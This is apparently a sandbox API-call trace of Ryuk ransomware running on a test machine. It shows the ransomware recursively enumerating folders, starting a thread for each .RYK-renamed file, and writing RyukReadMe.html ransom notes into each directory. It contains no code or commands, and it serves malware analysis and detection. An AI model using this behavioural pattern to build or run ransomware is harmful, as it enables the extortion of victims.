	[0246.045] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74eb4840, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x103c2, dwReserved0=0xf4, dwReserved1=0x0, cFileName="wscRGB.icc.RYK", cAlternateFileName="WSCRGB~1.RYK")) returned 1
	[0246.045] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f8
	[0246.047] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.048] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74e42420, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0xf4, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 1
	[0246.048] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3fc
	[0246.050] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.051] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74e42420, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0xf4, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 0
	[0246.051] FindClose (in: hFindFile=0x3ef790 | out: hFindFile=0x3ef790) returned 1
	[0246.051] SetLastError (dwErrCode=0x0) 
	[0246.051] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\color\\profiles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0
	[0246.052] GetLastError () returned 0xb7
	[0246.052] CloseHandle (hObject=0x3d0) returned 1
	[0246.052] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xe8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.052] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xe8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0246.052] FindClose (in: hFindFile=0x3ef730 | out: hFindFile=0x3ef730) returned 1
	[0246.052] SetLastError (dwErrCode=0x0) 
	[0246.052] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0246.053] GetLastError () returned 0xb7
	[0246.053] CloseHandle (hObject=0x3d4) returned 1
	[0246.053] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xdc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.053] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xdc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0246.053] FindClose (in: hFindFile=0x3ef6d0 | out: hFindFile=0x3ef6d0) returned 1
	[0246.053] SetLastError (dwErrCode=0x0) 
	[0246.053] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x384
	[0246.053] GetLastError () returned 0xb7
	[0246.053] CloseHandle (hObject=0x384) returned 1
	[0246.054] FindNextFileW (in: hFindFile=0x3ef670, lpFindFileData=0x190e00 | out: lpFindFileData=0x190e00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0246.054] SetLastError (dwErrCode=0x0) 
	[0246.054] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x384
	[0246.054] GetLastError () returned 0xb7
	[0246.054] CloseHandle (hObject=0x384) returned 1
	[0246.054] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef6d0
	[0246.055] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.055] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdc, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0246.055] SetLastError (dwErrCode=0x0) 
	[0246.055] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0246.055] GetLastError () returned 0xb7
	[0246.055] CloseHandle (hObject=0x3d4) returned 1
	[0246.055] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef730
	[0246.056] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.056] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfe, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0246.056] SetLastError (dwErrCode=0x0) 
	[0246.056] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0
	[0246.056] GetLastError () returned 0xb7
	[0246.056] CloseHandle (hObject=0x3d0) returned 1
	[0246.057] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef790
	[0246.057] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.057] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10a, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0246.057] SetLastError (dwErrCode=0x0) 
	[0246.057] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x404
	[0246.057] GetLastError () returned 0xb7
	[0246.057] CloseHandle (hObject=0x404) returned 1
	[0246.058] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef7f0
	[0246.058] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.058] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74933560, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8a42, dwReserved0=0x11a, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst.RYK", cAlternateFileName="ADOBEC~1.RYK")) returned 1
	[0246.058] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408
	[0246.060] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.061] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74802a60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x21df2, dwReserved0=0x11a, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst.RYK", cAlternateFileName="ADOBES~1.RYK")) returned 1
	[0246.061] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x40c
	[0246.113] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.114] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11a, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0246.114] SetLastError (dwErrCode=0x0) 
	[0246.114] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x410
	[0246.115] GetLastError () returned 0xb7
	[0246.115] CloseHandle (hObject=0x410) returned 1
	[0246.115] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x124, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef850
	[0246.115] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x124, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.115] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74a17da0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xd0e2, dwReserved0=0x124, dwReserved1=0x0, cFileName="AcroFnt10.lst.RYK", cAlternateFileName="ACROFN~1.RYK")) returned 1
	[0246.115] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.116] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414
	[0246.117] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.118] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x124, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.118] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x124, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0246.118] FindClose (in: hFindFile=0x3ef850 | out: hFindFile=0x3ef850) returned 1
	[0246.119] SetLastError (dwErrCode=0x0) 
	[0246.119] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x410
	[0246.119] GetLastError () returned 0xb7
	[0246.119] CloseHandle (hObject=0x410) returned 1
	[0246.119] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x746399e0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x746399e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x11a, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.119] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74b488a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x11a, dwReserved1=0x0, cFileName="SharedDataEvents.RYK", cAlternateFileName="SHARED~1.RYK")) returned 1
	[0246.119] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.120] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410
	[0246.121] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.122] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x749cbae0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x11a, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 1
	[0246.122] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.123] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418
	[0246.124] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
